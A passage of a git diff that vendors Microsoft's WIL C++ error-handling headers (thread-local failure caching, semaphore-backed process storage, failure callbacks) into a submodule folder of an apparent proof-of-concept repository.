WAIT_OBJECT_0); + } + + *count = value; + return S_OK; + } + + static HRESULT TryGetValueInternal(PCWSTR name, bool is64Bit, _Out_ unsigned __int64* value, _Out_opt_ bool* retrieved) + { + assign_to_opt_param(retrieved, false); + *value = 0; + + wchar_t localName[MAX_PATH]; + WI_VERIFY_SUCCEEDED(StringCchCopyW(localName, ARRAYSIZE(localName), name)); + WI_VERIFY_SUCCEEDED(StringCchCatW(localName, ARRAYSIZE(localName), __WI_SEMAHPORE_VERSION)); + + wil::unique_semaphore_nothrow semaphoreLow(::OpenSemaphoreW(SEMAPHORE_ALL_ACCESS, FALSE, localName)); + if (!semaphoreLow) + { + __WIL_PRIVATE_RETURN_HR_IF(S_OK, (::GetLastError() == ERROR_FILE_NOT_FOUND)); + __WIL_PRIVATE_RETURN_LAST_ERROR(); + } + + LONG countLow = 0; + LONG countHigh = 0; + + __WIL_PRIVATE_RETURN_IF_FAILED(GetValueFromSemaphore(semaphoreLow.get(), &countLow)); + + if (is64Bit) + { + WI_VERIFY_SUCCEEDED(StringCchCatW(localName, ARRAYSIZE(localName), L"h")); + wil::unique_semaphore_nothrow semaphoreHigh(::OpenSemaphoreW(SEMAPHORE_ALL_ACCESS, FALSE, localName)); + __WIL_PRIVATE_RETURN_LAST_ERROR_IF_NULL(semaphoreHigh); + + __WIL_PRIVATE_RETURN_IF_FAILED(GetValueFromSemaphore(semaphoreHigh.get(), &countHigh)); + } + + WI_ASSERT((countLow >= 0) && (countHigh >= 0)); + + const unsigned __int64 newValueHigh = (static_cast(countHigh) << 31); + const unsigned __int64 newValueLow = static_cast(countLow); + + assign_to_opt_param(retrieved, true); + *value = (newValueHigh | newValueLow); + return S_OK; + } + + wil::unique_semaphore_nothrow m_semaphore; + wil::unique_semaphore_nothrow m_semaphoreHigh; + }; + + template + class ProcessLocalStorageData + { + public: + ProcessLocalStorageData(unique_mutex_nothrow&& mutex, SemaphoreValue&& value) : + m_mutex(wistd::move(mutex)), + m_value(wistd::move(value)), + m_data() + { + static_assert(sizeof(m_mutex) == sizeof(HANDLE), "unique_any must be equivalent to the handle size to safely use across module"); + } + + T* GetData() + { + WI_ASSERT(m_mutex); + return &m_data; + } + + void Release() + { + if (ProcessShutdownInProgress()) + { + // There are no other threads to contend with. + if (--m_refCount == 0) + { + m_data.ProcessShutdown(); + } + } + else + { + auto lock = m_mutex.acquire(); + if (--m_refCount == 0) + { + // We must explicitly destroy our semaphores while holding the mutex + m_value.Destroy(); + lock.reset(); + + this->~ProcessLocalStorageData(); + ::HeapFree(::GetProcessHeap(), 0, this); + } + } + } + + static HRESULT Acquire(PCSTR staticNameWithVersion, _Outptr_result_nullonfailure_ ProcessLocalStorageData** data) + { + *data = nullptr; + + // NOTE: the '0' in SM0 below is intended as the VERSION number. Changes to this class require + // that this value be revised. + + const DWORD size = static_cast(sizeof(ProcessLocalStorageData)); + wchar_t name[MAX_PATH]; + WI_VERIFY(SUCCEEDED(StringCchPrintfW(name, ARRAYSIZE(name), L"Local\\SM0:%d:%d:%hs", ::GetCurrentProcessId(), size, staticNameWithVersion))); + + unique_mutex_nothrow mutex; + mutex.reset(::CreateMutexExW(nullptr, name, 0, MUTEX_ALL_ACCESS)); + + // This will fail in some environments and will be fixed with deliverable 12394134 + RETURN_LAST_ERROR_IF_EXPECTED(!mutex); + auto lock = mutex.acquire(); + + void* pointer = nullptr; + __WIL_PRIVATE_RETURN_IF_FAILED(SemaphoreValue::TryGetPointer(name, &pointer)); + if (pointer) + { + *data = reinterpret_cast*>(pointer); + (*data)->m_refCount++; + } + else + { + __WIL_PRIVATE_RETURN_IF_FAILED(MakeAndInitialize(name, wistd::move(mutex), data)); // Assumes mutex handle ownership on success ('lock' will still be released) + } + + return S_OK; + } + + private: + + volatile long m_refCount = 1; + unique_mutex_nothrow m_mutex; + SemaphoreValue m_value; + T m_data; + + static HRESULT MakeAndInitialize(PCWSTR name, unique_mutex_nothrow&& mutex, ProcessLocalStorageData** data) + { + *data = nullptr; + + const DWORD size = static_cast(sizeof(ProcessLocalStorageData)); + + unique_process_heap_ptr> dataAlloc(static_cast*>(details::ProcessHeapAlloc(HEAP_ZERO_MEMORY, size))); + __WIL_PRIVATE_RETURN_IF_NULL_ALLOC(dataAlloc); + + SemaphoreValue semaphoreValue; + __WIL_PRIVATE_RETURN_IF_FAILED(semaphoreValue.CreateFromPointer(name, dataAlloc.get())); + + new(dataAlloc.get()) ProcessLocalStorageData(wistd::move(mutex), wistd::move(semaphoreValue)); + *data = dataAlloc.release(); + + return S_OK; + } + }; + + template + class ProcessLocalStorage + { + public: + ProcessLocalStorage(PCSTR staticNameWithVersion) WI_NOEXCEPT : + m_staticNameWithVersion(staticNameWithVersion) + { + } + + ~ProcessLocalStorage() WI_NOEXCEPT + { + if (m_data) + { + m_data->Release(); + } + } + + T* GetShared() WI_NOEXCEPT + { + if (!m_data) + { + ProcessLocalStorageData* localTemp = nullptr; + if (SUCCEEDED(ProcessLocalStorageData::Acquire(m_staticNameWithVersion, &localTemp)) && !m_data) + { + m_data = localTemp; + } + } + return m_data ? m_data->GetData() : nullptr; + } + + private: + PCSTR m_staticNameWithVersion = nullptr; + ProcessLocalStorageData* m_data = nullptr; + }; + + template + class ThreadLocalStorage + { + public: + ThreadLocalStorage(const ThreadLocalStorage&) = delete; + ThreadLocalStorage& operator=(const ThreadLocalStorage&) = delete; + + ThreadLocalStorage() = default; + + ~ThreadLocalStorage() WI_NOEXCEPT + { + for (auto &entry : m_hashArray) + { + Node *pNode = entry; + while (pNode != nullptr) + { + auto pCurrent = pNode; + pNode = pNode->pNext; + pCurrent->~Node(); + ::HeapFree(::GetProcessHeap(), 0, pCurrent); + } + entry = nullptr; + } + } + + // Note: Can return nullptr even when (shouldAllocate == true) upon allocation failure + T* GetLocal(bool shouldAllocate = false) WI_NOEXCEPT + { + DWORD const threadId = ::GetCurrentThreadId(); + size_t const index = (threadId % ARRAYSIZE(m_hashArray)); + for (auto pNode = m_hashArray[index]; pNode != nullptr; pNode = pNode->pNext) + { + if (pNode->threadId == threadId) + { + return &pNode->value; + } + } + + if (shouldAllocate) + { + Node *pNew = reinterpret_cast(details::ProcessHeapAlloc(0, sizeof(Node))); + if (pNew != nullptr) + { + new(pNew)Node{ threadId }; + + Node *pFirst; + do + { + pFirst = m_hashArray[index]; + pNew->pNext = pFirst; + } while (::InterlockedCompareExchangePointer(reinterpret_cast(m_hashArray + index), pNew, pFirst) != pFirst); + + return &pNew->value; + } + } + return nullptr; + } + + private: + + struct Node + { + DWORD threadId; + Node* pNext = nullptr; + T value{}; + }; + + Node * volatile m_hashArray[10]{}; + }; + + struct ThreadLocalFailureInfo + { + // ABI contract (carry size to facilitate additive change without re-versioning) + unsigned short size; + unsigned char reserved1[2]; // packing, reserved + // When this failure was seen + unsigned int sequenceId; + + // Information about the failure + HRESULT hr; + PCSTR fileName; + unsigned short lineNumber; + unsigned char failureType; // FailureType + unsigned char reserved2; // packing, reserved + PCSTR modulePath; + void* returnAddress; + void* callerReturnAddress; + PCWSTR message; + + // The allocation (LocalAlloc) where structure strings point + void* stringBuffer; + size_t stringBufferSize; + + // NOTE: Externally Managed: Must not have constructor or destructor + + void Clear() + { + ::HeapFree(::GetProcessHeap(), 0, stringBuffer); + stringBuffer = nullptr; + stringBufferSize = 0; + } + + void Set(const FailureInfo& info, unsigned int newSequenceId) + { + sequenceId = newSequenceId; + + hr = info.hr; + fileName = nullptr; + lineNumber = static_cast(info.uLineNumber); + failureType = static_cast(info.type); + modulePath = nullptr; + returnAddress = info.returnAddress; + callerReturnAddress = info.callerReturnAddress; + message = nullptr; + + size_t neededSize = details::ResultStringSize(info.pszFile) + + details::ResultStringSize(info.pszModule) + + details::ResultStringSize(info.pszMessage); + + if (!stringBuffer || (stringBufferSize < neededSize)) + { + auto newBuffer = details::ProcessHeapAlloc(HEAP_ZERO_MEMORY, neededSize); + if (newBuffer) + { + ::HeapFree(::GetProcessHeap(), 0, stringBuffer); + stringBuffer = newBuffer; + stringBufferSize = neededSize; + } + } + + if (stringBuffer) + { + unsigned char *pBuffer = static_cast(stringBuffer); + unsigned char *pBufferEnd = pBuffer + stringBufferSize; + + pBuffer = details::WriteResultString(pBuffer, pBufferEnd, info.pszFile, &fileName); + pBuffer = details::WriteResultString(pBuffer, pBufferEnd, info.pszModule, &modulePath); + pBuffer = details::WriteResultString(pBuffer, pBufferEnd, info.pszMessage, &message); + ZeroMemory(pBuffer, pBufferEnd - pBuffer); + } + } + + void Get(FailureInfo& info) + { + ::ZeroMemory(&info, sizeof(info)); + + info.failureId = sequenceId; + info.hr = hr; + info.pszFile = fileName; + info.uLineNumber = lineNumber; + info.type = static_cast(failureType); + info.pszModule = modulePath; + info.returnAddress = returnAddress; + info.callerReturnAddress = callerReturnAddress; + info.pszMessage = message; + } + }; + + struct ThreadLocalData + { + // ABI contract (carry size to facilitate additive change without re-versioning) + unsigned short size = sizeof(ThreadLocalData); + + // Subscription information + unsigned int threadId = 0; + volatile long* failureSequenceId = nullptr; // backpointer to the global ID + + // Information about thread errors + unsigned int latestSubscribedFailureSequenceId = 0; + + // The last (N) observed errors + ThreadLocalFailureInfo* errors = nullptr; + unsigned short errorAllocCount = 0; + unsigned short errorCurrentIndex = 0; + + // NOTE: Externally Managed: Must allow ZERO init construction + + ~ThreadLocalData() + { + Clear(); + } + + void Clear() + { + for (auto& error : make_range(errors, errorAllocCount)) + { + error.Clear(); + } + ::HeapFree(::GetProcessHeap(), 0, errors); + errorAllocCount = 0; + errorCurrentIndex = 0; + errors = nullptr; + } + + bool EnsureAllocated(bool create = true) + { + if (!errors && create) + { + const unsigned short errorCount = 5; + errors = reinterpret_cast(details::ProcessHeapAlloc(HEAP_ZERO_MEMORY, errorCount * sizeof(ThreadLocalFailureInfo))); + if (errors) + { + errorAllocCount = errorCount; + errorCurrentIndex = 0; + for (auto& error : make_range(errors, errorAllocCount)) + { + error.size = sizeof(ThreadLocalFailureInfo); + } + } + } + return (errors != nullptr); + } + + void SetLastError(const wil::FailureInfo& info) + { + const bool hasListener = (latestSubscribedFailureSequenceId > 0); + + if (!EnsureAllocated(hasListener)) + { + // We either couldn't allocate or we haven't yet allocated and nobody + // was listening, so we ignore. + return; + } + + if (hasListener) + { + // When we have listeners, we can throw away any updates to the last seen error + // code within the same listening context presuming it's an update of the existing + // error with the same code. + + for (auto& error : make_range(errors, errorAllocCount)) + { + if ((error.sequenceId > latestSubscribedFailureSequenceId) && (error.hr == info.hr)) + { + return; + } + } + } + + // Otherwise we create a new failure... + + errorCurrentIndex = (errorCurrentIndex + 1) % errorAllocCount; + errors[errorCurrentIndex].Set(info, ::InterlockedIncrementNoFence(failureSequenceId)); + } + + bool GetLastError(_Inout_ wil::FailureInfo& info, unsigned int minSequenceId, HRESULT matchRequirement) + { + if (!errors) + { + return false; + } + + // If the last error we saw doesn't meet the filter requirement or if the last error was never + // set, then we couldn't return a result at all... + auto& lastFailure = errors[errorCurrentIndex]; + if (minSequenceId >= lastFailure.sequenceId) + { + return false; + } + + // With no result filter, we just go to the last error and report it + if (matchRequirement == S_OK) + { + lastFailure.Get(info); + return true; + } + + // Find the oldest result matching matchRequirement and passing minSequenceId + ThreadLocalFailureInfo* find = nullptr; + for (auto& error : make_range(errors, errorAllocCount)) + { + if ((error.hr == matchRequirement) && (error.sequenceId > minSequenceId)) + { + if (!find || (error.sequenceId < find->sequenceId)) + { + find = &error; + } + } + } + if (find) + { + find->Get(info); + return true; + } + + return false; + } + + bool GetCaughtExceptionError(_Inout_ wil::FailureInfo& info, unsigned int minSequenceId, _In_opt_ const DiagnosticsInfo* diagnostics, HRESULT matchRequirement, void* returnAddress) + { + // First attempt to get the last error and then see if it matches the error returned from + // the last caught exception. If it does, then we're good to go and we return that last error. + + FailureInfo last = {}; + if (GetLastError(last, minSequenceId, matchRequirement) && (last.hr == ResultFromCaughtException())) + { + info = last; + return true; + } + + // The last error didn't match or we never had one... we need to create one -- we do so by logging + // our current request and then using the last error. + + DiagnosticsInfo source; + if (diagnostics) + { + source = *diagnostics; + } + + // NOTE: FailureType::Log as it's only informative (no action) and SupportedExceptions::All as it's not a barrier, only recognition. + wchar_t message[2048]; + message[0] = L'\0'; + const HRESULT hr = details::ReportFailure_CaughtExceptionCommon(__R_DIAGNOSTICS_RA(source, returnAddress), message, ARRAYSIZE(message), SupportedExceptions::All); + + // Now that the exception was logged, we should be able to fetch it. + return GetLastError(info, minSequenceId, hr); + } + }; + + struct ProcessLocalData + { + // ABI contract (carry size to facilitate additive change without re-versioning) + unsigned short size = sizeof(ProcessLocalData); + + // Failure Information + volatile long failureSequenceId = 1; // process global variable + ThreadLocalStorage threads; // list of allocated threads + + void ProcessShutdown() {} + }; + + __declspec(selectany) ProcessLocalStorage* g_pProcessLocalData = nullptr; + + __declspec(noinline) inline ThreadLocalData* GetThreadLocalDataCache(bool allocate = true) + { + ThreadLocalData* result = nullptr; + if (g_pProcessLocalData) + { + auto processData = g_pProcessLocalData->GetShared(); + if (processData) + { + result = processData->threads.GetLocal(allocate); + if (result && !result->failureSequenceId) + { + result->failureSequenceId = &(processData->failureSequenceId); + } + } + } + return result; + } + + __forceinline ThreadLocalData* GetThreadLocalData(bool allocate = true) + { + return GetThreadLocalDataCache(allocate); + } + + } // details_abi + /// @endcond + + + /** Returns a sequence token that can be used with wil::GetLastError to limit errors to those that occur after this token was retrieved. + General usage pattern: use wil::GetCurrentErrorSequenceId to cache a token, execute your code, on failure use wil::GetLastError with the token + to provide information on the error that occurred while executing your code. Prefer to use wil::ThreadErrorContext over this approach when + possible. */ + inline long GetCurrentErrorSequenceId() + { + auto data = details_abi::GetThreadLocalData(); + if (data) + { + // someone is interested -- make sure we can store errors + data->EnsureAllocated(); + return *data->failureSequenceId; + } + + return 0; + } + + /** Caches failure information for later retrieval from GetLastError. + Most people will never need to do this explicitly as failure information is automatically made available per-thread across a process when + errors are encountered naturally through the WIL macros. */ + inline void SetLastError(const wil::FailureInfo& info) + { + static volatile unsigned int lastThread = 0; + auto threadId = ::GetCurrentThreadId(); + if (lastThread != threadId) + { + static volatile long depth = 0; + if (::InterlockedIncrementNoFence(&depth) < 4) + { + lastThread = threadId; + auto data = details_abi::GetThreadLocalData(false); // false = avoids allocation if not already present + if (data) + { + data->SetLastError(info); + } + lastThread = 0; + } + ::InterlockedDecrementNoFence(&depth); + } + } + + /** Retrieves failure information for the current thread with the given filters. + This API can be used to retrieve information about the last WIL failure that occurred on the current thread. + This error crosses DLL boundaries as long as the error occurred in the current process. Passing a minSequenceId + restricts the error returned to one that occurred after the given sequence ID. Passing matchRequirement also filters + the returned result to the given error code. */ + inline bool GetLastError(_Inout_ wil::FailureInfo& info, unsigned int minSequenceId = 0, HRESULT matchRequirement = S_OK) + { + auto data = details_abi::GetThreadLocalData(false); // false = avoids allocation if not already present + if (data) + { + return data->GetLastError(info, minSequenceId, matchRequirement); + } + return false; + } + + /** Retrieves failure information when within a catch block for the current thread with the given filters. + When unable to retrieve the exception information (when WIL hasn't yet seen it), this will attempt (best effort) to + discover information about the exception and will attribute that information to the given DiagnosticsInfo position. + See GetLastError for capabilities and filtering. */ + inline __declspec(noinline) bool GetCaughtExceptionError(_Inout_ wil::FailureInfo& info, unsigned int minSequenceId = 0, const DiagnosticsInfo* diagnostics = nullptr, HRESULT matchRequirement = S_OK) + { + auto data = details_abi::GetThreadLocalData(); + if (data) + { + return data->GetCaughtExceptionError(info, minSequenceId, diagnostics, matchRequirement, _ReturnAddress()); + } + return false; + } + + /** Use this class to manage retrieval of information about an error occurring in the requested code. + Construction of this class sets a point in time after which you can use the GetLastError class method to retrieve + the origination of the last error that occurred on this thread since the class was created. */ + class ThreadErrorContext + { + public: + ThreadErrorContext() : + m_data(details_abi::GetThreadLocalData()) + { + if (m_data) + { + m_sequenceIdLast = m_data->latestSubscribedFailureSequenceId; + m_sequenceIdStart = *m_data->failureSequenceId; + m_data->latestSubscribedFailureSequenceId = m_sequenceIdStart; + } + } + + ~ThreadErrorContext() + { + if (m_data) + { + m_data->latestSubscribedFailureSequenceId = m_sequenceIdLast; + } + } + + /** Retrieves the origination of the last error that occurred since this class was constructed. + The optional parameter allows the failure information returned to be filtered to a specific + result. */ + inline bool GetLastError(FailureInfo& info, HRESULT matchRequirement = S_OK) + { + if (m_data) + { + return m_data->GetLastError(info, m_sequenceIdStart, matchRequirement); + } + return false; + } + + /** Retrieves the origin of the current exception (within a catch block) since this class was constructed. + See @ref GetCaughtExceptionError for more information */ + inline __declspec(noinline) bool GetCaughtExceptionError(_Inout_ wil::FailureInfo& info, const DiagnosticsInfo* diagnostics = nullptr, HRESULT matchRequirement = S_OK) + { + if (m_data) + { + return m_data->GetCaughtExceptionError(info, m_sequenceIdStart, diagnostics, matchRequirement, _ReturnAddress()); + } + return false; + } + + private: + details_abi::ThreadLocalData* m_data; + unsigned long m_sequenceIdStart{}; + unsigned long m_sequenceIdLast{}; + }; + + + enum class WilInitializeCommand + { + Create, + Destroy, + }; + + + /// @cond + namespace details + { + struct IFailureCallback + { + virtual bool NotifyFailure(FailureInfo const &failure) WI_NOEXCEPT = 0; + }; + + class ThreadFailureCallbackHolder; + + __declspec(selectany) details_abi::ThreadLocalStorage* g_pThreadFailureCallbacks = nullptr; + + class ThreadFailureCallbackHolder + { + public: + ThreadFailureCallbackHolder(_In_ IFailureCallback *pCallbackParam, _In_opt_ CallContextInfo *pCallContext = nullptr, bool watchNow = true) WI_NOEXCEPT : + m_ppThreadList(nullptr), + m_pCallback(pCallbackParam), + m_pNext(nullptr), + m_threadId(0), + m_pCallContext(pCallContext) + { + if (watchNow) + { + StartWatching(); + } + } + + ThreadFailureCallbackHolder(ThreadFailureCallbackHolder &&other) WI_NOEXCEPT : + m_ppThreadList(nullptr), + m_pCallback(other.m_pCallback), + m_pNext(nullptr), + m_threadId(0), + m_pCallContext(other.m_pCallContext) + { + if (other.m_threadId != 0) + { + other.StopWatching(); + StartWatching(); + } + } + + ~ThreadFailureCallbackHolder() WI_NOEXCEPT + { + if (m_threadId != 0) + { + StopWatching(); + } + } + + void SetCallContext(_In_opt_ CallContextInfo *pCallContext) + { + m_pCallContext = pCallContext; + } + + CallContextInfo *CallContextInfo() + { + return m_pCallContext; + } + + void StartWatching() + { + // out-of balance Start/Stop calls? + __FAIL_FAST_IMMEDIATE_ASSERT__(m_threadId == 0); + + m_ppThreadList = g_pThreadFailureCallbacks ? g_pThreadFailureCallbacks->GetLocal(true) : nullptr; // true = allocate thread list if missing + if (m_ppThreadList) + { + m_pNext = *m_ppThreadList; + *m_ppThreadList = this; + m_threadId = ::GetCurrentThreadId(); + } + } + + void StopWatching() + { + if (m_threadId != ::GetCurrentThreadId()) + { + // The thread-specific failure holder cannot be stopped on a different thread than it was started on or the + // internal book-keeping list will be corrupted. To fix this change the telemetry pattern in the calling code + // to match one of the patterns available here: + // https://microsoft.sharepoint.com/teams/osg_development/Shared%20Documents/Windows%20TraceLogging%20Helpers.docx + + WI_USAGE_ERROR("MEMORY CORRUPTION: Calling code is leaking an activity thread-watcher and releasing it on another thread"); + } + + m_threadId = 0; + + while (*m_ppThreadList != nullptr) + { + if (*m_ppThreadList == this) + { + *m_ppThreadList = m_pNext; + break; + } + m_ppThreadList = &((*m_ppThreadList)->m_pNext); + } + m_ppThreadList = nullptr; + } + + bool IsWatching() + { + return (m_threadId != 0); + } + + void SetWatching(bool shouldWatch) + { + if (shouldWatch && !IsWatching()) + { + StartWatching(); + } + else if (!shouldWatch && IsWatching()) + { + StopWatching(); + } + } + + static bool GetThreadContext(_Inout_ FailureInfo *pFailure, _In_opt_ ThreadFailureCallbackHolder *pCallback, _Out_writes_(callContextStringLength) _Post_z_ PSTR callContextString, _Pre_satisfies_(callContextStringLength > 0) size_t callContextStringLength) + { + *callContextString = '\0'; + bool foundContext = false; + if (pCallback != nullptr) + { + foundContext = GetThreadContext(pFailure, pCallback->m_pNext, callContextString, callContextStringLength); + + if (pCallback->m_pCallContext != nullptr) + { + auto &context = *pCallback->m_pCallContext; + + // We generate the next telemetry ID only when we've found an error (avoid always incrementing) + if (context.contextId == 0) + { + context.contextId = ::InterlockedIncrementNoFence(&s_telemetryId); + } + + if (pFailure->callContextOriginating.contextId == 0) + { + pFailure->callContextOriginating = context; + } + + pFailure->callContextCurrent = context; + + auto callContextStringEnd = callContextString + callContextStringLength; + callContextString += strlen(callContextString); + + if ((callContextStringEnd - callContextString) > 2) // room for at least the slash + null + { + *callContextString++ = '\\'; + auto nameSizeBytes = strlen(context.contextName) + 1; + size_t remainingBytes = static_cast(callContextStringEnd - callContextString); + auto copyBytes = (nameSizeBytes < remainingBytes) ? nameSizeBytes : remainingBytes; + memcpy_s(callContextString, remainingBytes, context.contextName, copyBytes); + *(callContextString + (copyBytes - 1)) = '\0'; + } + + return true; + } + } + return foundContext; + } + + static void GetContextAndNotifyFailure(_Inout_ FailureInfo *pFailure, _Out_writes_(callContextStringLength) _Post_z_ PSTR callContextString, _Pre_satisfies_(callContextStringLength > 0) size_t callContextStringLength) WI_NOEXCEPT + { + *callContextString = '\0'; + bool reportedTelemetry = false; + + ThreadFailureCallbackHolder **ppListeners = g_pThreadFailureCallbacks ? g_pThreadFailureCallbacks->GetLocal() : nullptr; + if ((ppListeners != nullptr) && (*ppListeners != nullptr)) + { + callContextString[0] = '\0'; + if (GetThreadContext(pFailure, *ppListeners, callContextString, callContextStringLength)) + { + pFailure->pszCallContext = callContextString; + } + + auto pNode = *ppListeners; + do + { + reportedTelemetry |= pNode->m_pCallback->NotifyFailure(*pFailure); + pNode = pNode->m_pNext; + } + while (pNode != nullptr); + } + + if (g_pfnTelemetryCallback != nullptr) + { + g_pfnTelemetryCallback(reportedTelemetry, *pFailure); + } + } + + ThreadFailureCallbackHolder(ThreadFailureCallbackHolder const &) = delete; + ThreadFailureCallbackHolder& operator=(ThreadFailureCallbackHolder const &) = delete; + + private: + static long volatile s_telemetryId; + + ThreadFailureCallbackHolder **m_ppThreadList; + IFailureCallback *m_pCallback; + ThreadFailureCallbackHolder *m_pNext; + DWORD m_threadId; + wil::CallContextInfo *m_pCallContext; + }; + + __declspec(selectany) long volatile ThreadFailureCallbackHolder::s_telemetryId = 1; + + template + class ThreadFailureCallbackFn final : public IFailureCallback + { + public: + explicit ThreadFailureCallbackFn(_In_opt_ CallContextInfo *pContext, _Inout_ TLambda &&errorFunction) WI_NOEXCEPT : + m_errorFunction(wistd::move(errorFunction)), + m_callbackHolder(this, pContext) + { + } + + ThreadFailureCallbackFn(_Inout_ ThreadFailureCallbackFn && other) WI_NOEXCEPT : + m_errorFunction(wistd::move(other.m_errorFunction)), + m_callbackHolder(this, other.m_callbackHolder.CallContextInfo()) + { + } + + bool NotifyFailure(FailureInfo const &failure) WI_NOEXCEPT + { + return m_errorFunction(failure); + } + + private: + ThreadFailureCallbackFn(_In_ ThreadFailureCallbackFn const &); + ThreadFailureCallbackFn & operator=(_In_ ThreadFailureCallbackFn const &); + + TLambda m_errorFunction; + ThreadFailureCallbackHolder m_callbackHolder; + }; + + + // returns true if telemetry was reported for this error + inline void __stdcall GetContextAndNotifyFailure(_Inout_ FailureInfo *pFailure, _Out_writes_(callContextStringLength) _Post_z_ PSTR callContextString, _Pre_satisfies_(callContextStringLength > 0) size_t callContextStringLength) WI_NOEXCEPT + { + ThreadFailureCallbackHolder::GetContextAndNotifyFailure(pFailure, callContextString, callContextStringLength); + + // Update the process-wide failure cache + wil::SetLastError(*pFailure); + } + + template void InitGlobalWithStorage(WilInitializeCommand state, void* storage, T*& global, TCtorArgs&&... args) + { + if ((state == WilInitializeCommand::Create) && !global) + { + global = ::new (storage) T(wistd::forward(args)...); + } + else if ((state == WilInitializeCommand::Destroy) && global) + { + global->~T(); + global = nullptr; + } + } + } + /// @endcond + + /** Modules that cannot use CRT-based static initialization may call this method from their entrypoint + instead. Disable the use of CRT-based initializers by defining RESULT_SUPPRESS_STATIC_INITIALIZERS + while compiling this header. Linking together libraries that disagree on this setting and calling + this method will behave correctly. It may be necessary to recompile all statically linked libraries + with the RESULT_SUPPRESS_... setting to eliminate all "LNK4201 - CRT section exists, but..." errors. + */ + inline void WilInitialize_Result(WilInitializeCommand state) + { + static unsigned char s_processLocalData[sizeof(*details_abi::g_pProcessLocalData)]; + static unsigned char s_threadFailureCallbacks[sizeof(*details::g_pThreadFailureCallbacks)]; + + details::InitGlobalWithStorage(state, s_processLocalData, details_abi::g_pProcessLocalData, "WilError_03"); + details::InitGlobalWithStorage(state, s_threadFailureCallbacks, details::g_pThreadFailureCallbacks); + + if (state == WilInitializeCommand::Create) + { + details::g_pfnGetContextAndNotifyFailure = details::GetContextAndNotifyFailure; + } + } + + /// @cond + namespace details + { +#ifndef RESULT_SUPPRESS_STATIC_INITIALIZERS + __declspec(selectany) ::wil::details_abi::ProcessLocalStorage<::wil::details_abi::ProcessLocalData> g_processLocalData("WilError_03"); + __declspec(selectany) ::wil::details_abi::ThreadLocalStorage g_threadFailureCallbacks; + + WI_HEADER_INITITALIZATION_FUNCTION(InitializeResultHeader, [] + { + g_pfnGetContextAndNotifyFailure = GetContextAndNotifyFailure; + ::wil::details_abi::g_pProcessLocalData = &g_processLocalData; + g_pThreadFailureCallbacks = &g_threadFailureCallbacks; + return 1; + }); +#endif + } + /// @endcond + + + // This helper functions much like scope_exit -- give it a lambda and get back a local object that can be used to + // catch all errors happening in your module through all WIL error handling mechanisms. The lambda will be called + // once for each error throw, error return, or error catch that is handled while the returned object is still in + // scope. Usage: + // + // auto monitor = wil::ThreadFailureCallback([](wil::FailureInfo const &failure) + // { + // // Write your code that logs or cares about failure details here... + // // It has access to HRESULT, filename, line number, etc through the failure param. + // }); + // + // As long as the returned 'monitor' object remains in scope, the lambda will continue to receive callbacks for any + // failures that occur in this module on the calling thread. Note that this will guarantee that the lambda will run + // for any failure that is through any of the WIL macros (THROW_XXX, RETURN_XXX, LOG_XXX, etc). + + template + inline wil::details::ThreadFailureCallbackFn ThreadFailureCallback(_Inout_ TLambda &&fnAtExit) WI_NOEXCEPT + { + return wil::details::ThreadFailureCallbackFn(nullptr, wistd::forward(fnAtExit)); + } + + + // Much like ThreadFailureCallback, this class will receive WIL failure notifications from the time it's instantiated + // until the time that it's destroyed. At any point during that time you can ask for the last failure that was seen + // by any of the WIL macros (RETURN_XXX, THROW_XXX, LOG_XXX, etc) on the current thread. + // + // This class is most useful when utilized as a member of an RAII class that's dedicated to providing logging or + // telemetry. In the destructor of that class, if the operation had not been completed successfully (it goes out of + // scope due to early return or exception unwind before success is acknowledged) then details about the last failure + // can be retrieved and appropriately logged. + // + // Usage: + // + // class MyLogger + // { + // public: + // MyLogger() : m_fComplete(false) {} + // ~MyLogger() + // { + // if (!m_fComplete) + // { + // FailureInfo *pFailure = m_cache.GetFailure(); + // if (pFailure != nullptr) + // { + // // Log information about pFailure (pFileure->hr, pFailure->pszFile, pFailure->uLineNumber, etc) + // } + // else + // { + // // It's possible that you get stack unwind from an exception that did NOT come through WIL + // // like (std::bad_alloc from the STL). Use a reasonable default like: HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION). + // } + // } + // } + // void Complete() { m_fComplete = true; } + // private: + // bool m_fComplete; + // ThreadFailureCache m_cache; + // }; + + class ThreadFailureCache final : + public details::IFailureCallback + { + public: + ThreadFailureCache() : + m_callbackHolder(this) + { + } + + ThreadFailureCache(ThreadFailureCache && rhs) WI_NOEXCEPT : + m_failure(wistd::move(rhs.m_failure)), + m_callbackHolder(this) + { + } + + ThreadFailureCache& operator=(ThreadFailureCache && rhs) WI_NOEXCEPT + { + m_failure = wistd::move(rhs.m_failure); + return *this; + } + + void WatchCurrentThread() + { + m_callbackHolder.StartWatching(); + } + + void IgnoreCurrentThread() + { + m_callbackHolder.StopWatching(); + } + + FailureInfo const *GetFailure() + { + return (FAILED(m_failure.GetFailureInfo().hr) ? &(m_failure.GetFailureInfo()) : nullptr); + } + + bool NotifyFailure(FailureInfo const &failure) WI_NOEXCEPT + { + // When we "cache" a failure, we bias towards trying to find the origin of the last HRESULT + // generated, so we ignore subsequent failures on the same error code (assuming propagation). + + if (failure.hr != m_failure.GetFailureInfo().hr) + { + m_failure.SetFailureInfo(failure); + } + return false; + } + + private: + StoredFailureInfo m_failure; + details::ThreadFailureCallbackHolder m_callbackHolder; + }; + +} // wil + +#pragma warning(pop) + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/result_macros.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/result_macros.h new file mode 100644 index 00000000..ce1c70cc --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/result_macros.h @@ -0,0 +1,5948 @@ +//********************************************************* +// +// Copyright (c) Microsoft. All rights reserved. +// This code is licensed under the MIT License. +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +// PARTICULAR PURPOSE AND NONINFRINGEMENT. +// +//********************************************************* +#ifndef __WIL_RESULTMACROS_INCLUDED +#define __WIL_RESULTMACROS_INCLUDED + +// WARNING: +// Code within this scope must satisfy both C99 and C++ + +#include "common.h" + +#if !defined(__WIL_MIN_KERNEL) && !defined(WIL_KERNEL_MODE) +#include +#endif + +// Setup the debug behavior +#ifndef RESULT_DEBUG +#if (DBG || defined(DEBUG) || defined(_DEBUG)) && !defined(NDEBUG) +#define RESULT_DEBUG +#endif +#endif + +/// @cond +#if defined(_PREFAST_) +#define __WI_ANALYSIS_ASSUME(_exp) _Analysis_assume_(_exp) +#else +#ifdef 